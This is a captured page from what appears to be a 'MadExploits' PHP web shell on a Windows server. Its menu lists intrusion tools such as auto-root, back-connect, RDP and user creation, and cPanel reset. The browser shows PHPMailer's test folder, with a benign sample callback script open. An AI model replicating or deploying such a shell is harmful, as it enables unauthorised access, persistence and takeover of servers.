Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
laragon /
etc /
php /
pear /
PHPMailer /
test /
[ HOME SHELL ]
Name
Size
Permission
Action
bootstrap.php
140
B
-rw-rw-rw-
fakepopserver.sh
2.93
KB
-rw-rw-rw-
fakesendmail.sh
474
B
-rw-rw-rw-
phpmailerLangTest.php
2.29
KB
-rw-rw-rw-
phpmailerTest.php
76.7
KB
-rw-rw-rw-
runfakepopserver.sh
359
B
-rw-rw-rw-
test_callback.php
2.62
KB
-rw-rw-rw-
testbootstrap-dist.php
238
B
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_callback.php
<html> <head> <title>PHPMailer Lite - DKIM and Callback Function test</title> </head> <body> <?php /* This is a sample callback function for PHPMailer Lite. * This callback function will echo the results of PHPMailer processing. */ /* Callback (action) function * boolean $result result of the send action * string $to email address of the recipient * string $cc cc email addresses * string $bcc bcc email addresses * string $subject the subject * string $body the email body * @return boolean */ function callbackAction($result, $to, $cc, $bcc, $subject, $body) { /* this callback example echos the results to the screen - implement to post to databases, build CSV log files, etc., with minor changes */ $to = cleanEmails($to, 'to'); $cc = cleanEmails($cc[0], 'cc'); $bcc = cleanEmails($bcc[0], 'cc'); echo $result . "\tTo: " . $to['Name'] . "\tTo: " . $to['Email'] . "\tCc: " . $cc['Name'] . "\tCc: " . $cc['Email'] . "\tBcc: " . $bcc['Name'] . "\tBcc: " . $bcc['Email'] . "\t" . $subject . "\n\n". $body . "\n"; return true; } require_once '../PHPMailerAutoload.php'; $mail = new PHPMailer(); try { $mail->isMail(); $mail->setFrom('you@example.com', 'Your Name'); $mail->addAddress('another@example.com', 'John Doe'); $mail->Subject = 'PHPMailer Test Subject'; $mail->msgHTML(file_get_contents('../examples/contents.html')); // optional - msgHTML will create an alternate automatically $mail->AltBody = 'To view the message, please use an HTML compatible email viewer!'; $mail->addAttachment('../examples/images/phpmailer.png'); // attachment $mail->addAttachment('../examples/images/phpmailer_mini.png'); // attachment $mail->action_function = 'callbackAction'; $mail->send(); echo "Message Sent OK</p>\n"; } catch (phpmailerException $e) { echo $e->errorMessage(); //Pretty error messages from PHPMailer } catch (Exception $e) { echo $e->getMessage(); //Boring error messages from anything else! } function cleanEmails($str, $type) { if ($type == 'cc') { $addy['Email'] = $str[0]; $addy['Name'] = $str[1]; return $addy; } if (!strstr($str, ' <')) { $addy['Name'] = ''; $addy['Email'] = $addy; return $addy; } $addyArr = explode(' <', $str); if (substr($addyArr[1], -1) == '>') { $addyArr[1] = substr($addyArr[1], 0, -1); } $addy['Name'] = $addyArr[0]; $addy['Email'] = $addyArr[1]; $addy['Email'] = str_replace('@', '@', $addy['Email']); return $addy; } ?> </body> </html>
Close